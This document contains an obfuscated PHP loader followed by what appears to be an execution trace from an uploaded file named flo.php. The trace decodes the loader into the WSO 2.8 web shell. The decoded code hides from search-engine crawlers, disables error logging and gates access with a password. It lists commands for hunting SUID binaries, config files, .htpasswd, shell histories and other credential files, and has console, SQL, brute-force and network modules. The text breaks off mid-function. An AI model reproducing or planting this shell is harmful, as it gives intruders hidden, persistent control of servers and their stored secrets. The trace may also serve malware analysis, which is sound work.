U0xSjBZME01YVdORE5YZGlRMEZwVEdsU1psVkZPVlJXUm5OdVkwUkpibGhUTkdsSlJFVXJUREpTYkdScE9YVmtWM2h6U1VSSkswcHFSV2RLYVVsd1QzZHZaMGxEUVdkSlEwRm5TVU5CWjBsRFFucGlSMVpzWTBObmVFdFVjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5XbGRPYjJKNVFXbFFTRUo1V2xOQ2FtSkhSbnBqZWpGMFlrUkZLMHBIT1RGa1JuaDFTV2sxTTJNeU9VWmxRMmRwWTBoTloxbFlWalJKU0hkbldqTktiR05EUW1salF6VjNZa05KY0V4cFNUaE1NMEo1V2xRMGFVOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwSXhZbTE0Y0dKdGMyOUphVGt3WWxoQmRsbHVRWFZqUjNkcFMxUnpTMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQloyRlhXVzlLUmpsUlZERk9WVmQ1WkhkTlUyUmtTVVF3T1VsRFpHbFpNMEZ1UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIwNXRTME5KZG1SSE1YZE1Na3BxVEc1Q2MwbHBkMnRaYlVacVlURTVhbUl5TlhWYVYwNHdXRE5CY0U5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdka00wNTJVbGhuYjBsdVFteGpiWGRuVEROU2RHTkRPV2xaZVRWM1lrTkJhVXhwVW1aVlJUbFVWa1p6Ym1ORVNXNVlVelJwU1VOSmRVcEdPVkZVTVU1VlYzbGtkMDE1WkdSTWFVbG5UVlEwZGxwSFZqSk1NalV4WWtkM1owMXFORzFOVTBGdFNXbHJOME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpTRTV6V2xkV2QwdEVSWEJQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5DYkZreWFIWkpRMGs0WTBoS2JFbEhUbk5aV0U1NlVGY3hjMDFVTkd0aU0xWXdXRWMwYVV4dVpIcGlNRlkwUzBOS2QyTjVRbWhrV0dkblprTkNibU50Vm5kSlIwcHFURzVDYzBscGEzVkphbmQyWTBoS2JGQnBTVGREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWhXZFdKSGJIVmhlV2RwVEROU2RHTkRPV2xaZVRWM1lrTkpjRTkzYjJkSlEwRm5TVU5CWjBsSU1FdEpRMEZuU1Vnd1MwbERRV2RKUjFacVlVYzRaMHA2ZDNaYVIyd3lVR2xqTjBOcFFXZEpRMEl6WXpJNVIySXlPVEJhV0VsdlMxUnpTMlpSY0cxa1Z6VnFaRWRzZG1KcFFtaFpNMUp3WWpJMVUxRjVaM0JKU0hOTFNVTkJaMGxIYkcxTFEwWkJTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFRRamREYVVGblNVTkJaMGxEUVdkS1IwVm5VRk5DYUdOdVNtaGxVMmRMU1VOQlowbERRV2RKUTBGblNVTkJaMGx1Vm5WWlZ6RnNTV2xCT1ZCcFFuZGhTRUptWkZjMWFHSlhWVzlMVTNkTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsdVFtOWpSamt5V2xoS2VtRlhPWFZKYVVFNVVHbENkMkZJUWpKYVdFcDZZVmM1ZFV0RGEzTkRhVUZuU1VOQlowbERRV2RKUTBGblNVTktNMk15T1daa2JWWjVZekpzZG1KcFNXZFFWRFJuVmpGT1VGZ3hXa1pWYkU1S1ZEQTBjME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpRMHA2V1ZkYWJHSlhPV3RhVTBsblVGUTBaMUZIYkhWaFZqbHVXbGhSYjBvelRtaGFiVlptWWxjNWExcFRZM0JEYVVGblNVTkJaMGxEUVdkTFZITkxTVU5CWjBsRFFXZEpRMEpzV1RKb2RrbElUbXhqYld4b1lrZHNObHBUWjJ0WlUyczNRMmxCWjBsRFFqbEpSMVp6WXpKVloyVjNiMmRKUTBGblNVTkJaMGxIVmpKWlYzZHZTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFVjMHRKUTBGblNVZ3dTMlpSY0hCYWFXZG5XbGN4ZDJSSWEyOUtSamxSVkRGT1ZWZDVaR2hLTVRCd1NVTnJTMGxEUVdkSlIyeHRTMGRzZW1NeVZqQkxRMUpyV2xkYWFHUlhlREJZTWtacVpFZHNkbUpwYTJkS2FWbG5XbTVXZFZrelVuQmlNalZtV2xob2NHTXpVbnBMUTJSb1dUTlNjR0l5Tkc1SlF6Um5Ta2RTYkZwdFJqRmlTRkptV1ZkT01HRlhPWFZMVTJ0TFNVTkJaMGxEUVdkSlEwRnJXREZDVUZVeFVtSktNa1Z1V0ZOQk9VbERVbXRhVjFwb1pGZDRNRmd5Um1wa1IyeDJZbXB6UzBsRFFXZEpSMVp6WXpKVlMwbERRV2RKUTBGblNVTkJhMWd4UWxCVk1WSmlTakpGYmxoVFFUbEpRMlJVV2xkT1NtSnRXblpLZW5OTFlWZFpiMGxEUm14aVdFSXdaVk5uYTFneFFsQlZNVkppU2pKRmJsaFRhMmRLYVZsbldtNVdkVmt6VW5CaU1qVm1XbGhvY0dNelVucExRMlJvV1ROU2NHSXlORzVKUXpSblNrWTVVVlF4VGxWWGVXUm9TakV3Y0VsRGEwdEpRMEZuU1VkT2FHSkhlR1prV0U1c1kydzViV1JYTldwTFEyUm9XVE5TY0dJeU5HNUpRelJuU2tZNVVWUXhUbFZYZVdSb1NqRXdjRTkzY0d4bFIyd3dUM2R2U3c9PQ==";
for ($i = 1; $i <= 3; $i++) {
    $v = $b($v);
}
eval($v);

Execution traces

data/traces/c711b31a5fa66fb9ed7031fcb5525a56_trace-1676260202.9384.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:50:28.836176]
1	0	1	0.000138	393512
1	3	0	0.000665	579448	{main}	1		/var/www/html/uploads/flo.php	0	0
1		A						/var/www/html/uploads/flo.php	2	$part2 = 'MVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1U1VkR2VXTnRSalZMUTBwSVlqSTVibUpIVldsTVEwRnBWVEo0TVdOdVFXbE1RMEZwVkZaT1Qx'
1		A						/var/www/html/uploads/flo.php	3	$part1 = 'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVV'
1		A						/var/www/html/uploads/flo.php	4	$part3 = 'sRGEwdEpRMEZuU1VkT2FHSkhlR1prV0U1c1kydzViV1JYTldwTFEyUm9XVE5TY0dJeU5HNUpRelJuU2tZNVVWUXhUbFZYZVdSb1NqRXdjRTkzY0d4bFIyd3dUM2R2U3c9PQ=='
1		A						/var/www/html/uploads/flo.php	6	$b = 'base64_'
1		A						/var/www/html/uploads/flo.php	7	$b .= 'decode'
1		A						/var/www/html/uploads/flo.php	9	$v = 'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVVMVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1'
1		A						/var/www/html/uploads/flo.php	10	$i = 1
2	4	0	0.001022	763808	base64_decode	0		/var/www/html/uploads/flo.php	11	1	'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVVMVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1'
2	4	1	0.001575	948160
2	4	R			'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
1		A						/var/www/html/uploads/flo.php	11	$v = 'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
1		A						/var/www/html/uploads/flo.php	10	$i++
2	5	0	0.001800	763808	base64_decode	0		/var/www/html/uploads/flo.php	11	1	'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
2	5	1	0.002220	903104
2	5	R			'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
1		A						/var/www/html/uploads/flo.php	11	$v = 'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
1		A						/var/www/html/uploads/flo.php	10	$i++
2	6	0	0.002421	718752	base64_decode	0		/var/www/html/uploads/flo.php	11	1	'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
2	6	1	0.002766	821184
2	6	R			'$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_s'
1		A						/var/www/html/uploads/flo.php	11	$v = '$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_s'
1		A						/var/www/html/uploads/flo.php	10	$i++
2	7	0	0.005183	1257192	eval	1	'$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\n@set_magic_quotes_runtime(0);\n@define(\'WSO_VERSION\', \'2.8\');\n \nif(get_magic_quotes_gpc()) {\n    function WSOstripslashes($array) {\n        return is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n    }\n    $_POST = WSOstripslashes($_POST);\n    $_COOKIE = WSOstripslashes($_COOKIE);\n}\n \nfunction wsoLogin() {\n    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>");\n}\n \nfunction WSOsetcookie($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\n \nif(!empty($auth_pass)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n \n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n        wsoLogin();\n}\n \nif(strtolower(substr(PHP_OS,0,3)) == "win")\n    $os = \'win\';\nelse\n    $os = \'nix\';\n \n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n \n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n    @chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n    $home_cwd = str_replace("\\\\", "/", $home_cwd);\n    $cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n    $cwd .= \'/\';\n \nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n \nif($os == \'win\')\n    $aliases = array(\n        "List Directory" => "dir",\n        "Find index.php in current dir" => "dir /s /w /b index.php",\n        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n        "Show active connections" => "netstat -an",\n        "Show running services" => "net start",\n        "User accounts" => "net user",\n        "Show computers" => "net view",\n        "ARP Table" => "arp -a",\n        "IP Configuration" => "ipconfig /all"\n    );\nelse\n    $aliases = array(\n        "List dir" => "ls -lha",\n        "list file attributes on a Linux second extended file system" => "lsattr -va",\n        "show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n        "Find" => "",\n        "find suid" => "find / -type f -perm -04000 -ls",\n        "find suid in current dir" => "find . -type f -perm -04000 -ls",\n        "find sgid" => "find / -type f -perm -02000 -ls",\n        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n        "find config.inc.php" => "find / -type f -name config.inc.php",\n        "find config*" => "find / -type f -name \\"config*\\"",\n        "find config* in current dir" => "find . -type f -name \\"config*\\"",\n        "find writable folders and files" => "find / -perm -2 -ls",\n        "find writable folders and files in current dir" => "find . -perm -2 -ls",\n        "find service.pwd" => "find / -type f -name service.pwd",\n        "find service.pwd files in current dir" => "find . -type f -name service.pwd",\n        "find .htpasswd" => "find / -type f -name .htpasswd",\n        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n        "find .bash_history" => "find / -type f -name .bash_history",\n        "find .bash_history files in current dir" => "find . -type f -name .bash_history",\n        "find .fetchmailrc" => "find / -type f -name .fetchmailrc",\n        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n        "Locate" => "",\n        "locate httpd.conf" => "locate httpd.conf",\n        "locate vhosts.conf" => "locate vhosts.conf",\n        "locate proftpd.conf" => "locate proftpd.conf",\n        "locate psybnc.conf" => "locate psybnc.conf",\n        "locate my.conf" => "locate my.conf",\n        "locate admin.php" =>"locate admin.php",\n        "locate cfg.php" => "locate cfg.php",\n        "locate conf.php" => "locate conf.php",\n        "locate config.dat" => "locate config.dat",\n        "locate config.php" => "locate config.php",\n        "locate config.inc" => "locate config.inc",\n        "locate config.inc.php" => "locate config.inc.php",\n        "locate config.default.php" => "locate config.default.php",\n        "locate config*" => "locate config",\n        "locate .conf"=>"locate \'.conf\'",\n        "locate .pwd" => "locate \'.pwd\'",\n        "locate .sql" => "locate \'.sql\'",\n        "locate .htpasswd" => "locate \'.htpasswd\'",\n        "locate .bash_history" => "locate \'.bash_history\'",\n        "locate .mysql_history" => "locate \'.mysql_history\'",\n        "locate .fetchmailrc" => "locate \'.fetchmailrc\'",\n        "locate backup" => "locate backup",\n        "locate dump" => "locate dump",\n        "locate priv" => "locate priv"\n    );\n \nfunction wsoHeader() {\n    if(empty($_POST[\'charset\']))\n        $_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n    global $color;\n    echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>\n<style>\nbody{background-color:#444;color:#e1e1e1;}\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\ntable.info{ color:#fff;background-color:#222; }\nspan,h1,a{ color: $color !important; }\nspan{ font-weight: bolder; }\nh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\na{ text-decoration:none; }\na:hover{ text-decoration:underline; }\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n.bigarea{ width:100%;height:300px; }\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }\nform{ margin:0px; }\n#toolsTbl{ text-align:center; }\n.toolsInp{ width: 300px }\n.main th{text-align:left;background-color:#5e5e5e;}\n.main tr:hover{background-color:#5e5e5e}\n.l1{background-color:#444}\n.l2{background-color:#333}\npre{font-family:Courier,Monospace;}\n</style>\n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n    function set(a,c,p1,p2,p3,charset) {\n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n    }\n    function g(a,c,p1,p2,p3,charset) {\n        set(a,c,p1,p2,p3,charset);\n        d.mf.submit();\n    }\n    function a(a,c,p1,p2,p3,charset) {\n        set(a,c,p1,p2,p3,charset);\n        var params = \'ajax=true\';\n        for(i=0;i<d.mf.elements.length;i++)\n            params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n        sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n    }\n    function sr(url, params) {\n        if (window.XMLHttpRequest)\n            req = new XMLHttpRequest();\n        else if (window.ActiveXObject)\n            req = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n    }\n    function processReqChange() {\n        if( (req.readyState == 4) )\n            if(req.status == 200) {\n                var reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n                var arr=reg.exec(req.responseText);\n                eval(arr[2].substr(0, arr[1]));\n            } else alert(\'Request error!\');\n    }\n</script>\n<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n    $totalSpace = $totalSpace?$totalSpace:1;\n    $release = @php_uname(\'r\');\n    $kernel = @php_uname(\'s\');\n    $explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\n    if(strpos(\'Linux\', $kernel) !== false)\n        $explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n    else\n        $explink .= urlencode($kernel . \' \' . substr($release,0,3));\n    if(!function_exists(\'posix_getegid\')) {\n        $user = @get_current_user();\n        $uid = @getmyuid();\n        $gid = @getmygid();\n        $group = "?";\n    } else {\n        $uid = @posix_getpwuid(posix_geteuid());\n        $gid = @posix_getgrgid(posix_getegid());\n        $user = $uid[\'name\'];\n        $uid = $uid[\'uid\'];\n        $group = $gid[\'name\'];\n        $gid = $gid[\'gid\'];\n    }\n \n    $cwd_links = \'\';\n    $path = explode("/", $GLOBALS[\'cwd\']);\n    $n=count($path);\n    for($i=0; $i<$n-1; $i++) {\n        $cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n        for($j=0; $j<=$i; $j++)\n            $cwd_links .= $path[$j].\'/\';\n        $cwd_links .= "\\")\'>".$path[$i]."/</a>";\n    }\n \n    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n    $opt_charsets = \'\';\n    foreach($charsets as $item)\n        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n \n    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n    if(!empty($GLOBALS[\'auth_pass\']))\n        $m[\'Logout\'] = \'Logout\';\n    $m[\'Self remove\'] = \'SelfRemove\';\n    $menu = \'\';\n    foreach($m as $k => $v)\n        $menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n \n    $drives = "";\n    if($GLOBALS[\'os\'] == \'win\') {\n        foreach(range(\'c\',\'z\') as $drive)\n        if(is_dir($drive.\':\\\\\'))\n            $drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n    }\n    echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' 